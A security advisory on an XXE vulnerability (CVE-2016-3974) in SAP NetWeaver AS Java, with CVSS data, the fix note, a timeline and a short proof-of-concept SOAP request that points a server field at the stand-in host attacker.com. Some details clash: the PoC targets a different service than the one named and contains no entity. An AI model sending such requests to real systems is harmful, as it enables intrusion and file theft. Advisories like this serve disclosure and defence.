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SAP NetWeaver AS JAVA 7.1 < 7.5 - ctcprotocol Servlet XXE
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Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5 Vendor URL: http://SAP.com Bug: XXE Sent: 20.10.2015 Reported: 21.10.2015 Vendor response: 21.10.2015 Date of Public Advisory: 08.03.2016 Reference: SAP Security Note 2235994 Author: Vahagn Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title: [ERPSCAN-16-013] SAP NetWeaver AS Java ctcprotocol servlet – XXE vulnerability Advisory ID: [ERPSCAN-16-013] Risk: Medium Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/ Date published: 08.03.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XXE Impact: denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE-2016-3974 CVSS Information CVSS Base Score v3: 6.4 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) High (H) PR : Privileges Required (Level of privileges needed to exploit) High (H) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality High (H) I : Impact to Integrity High (H) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION Authorized attacker can use a special request to read files from the server and then escalate his or her privileges. 4. VULNERABLE PACKAGES SAP NetWeaver AS JAVA 7.1 - 7.5 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2235994 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION An XML external entity (XXE) vulnerability in the Configuration Wizard in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial of service, conduct SMB Relay attacks, or access arbitrary files via a crafted XML request related to the ctcprotocol servlet. PoC POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1 Content-Type: text/xml <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Body> <m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/"> <url>attacker.com</url> </m:XXX> </SOAP-ENV:Body> </SOAP-ENV:Envelope> 8. REPORT TIMELINE Sent: 20.10.2015 Reported: 21.10.2015 Vendor response: 21.10.2015 Date of Public Advisory: 08.03.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/ # 0day.today [2024-07-02] #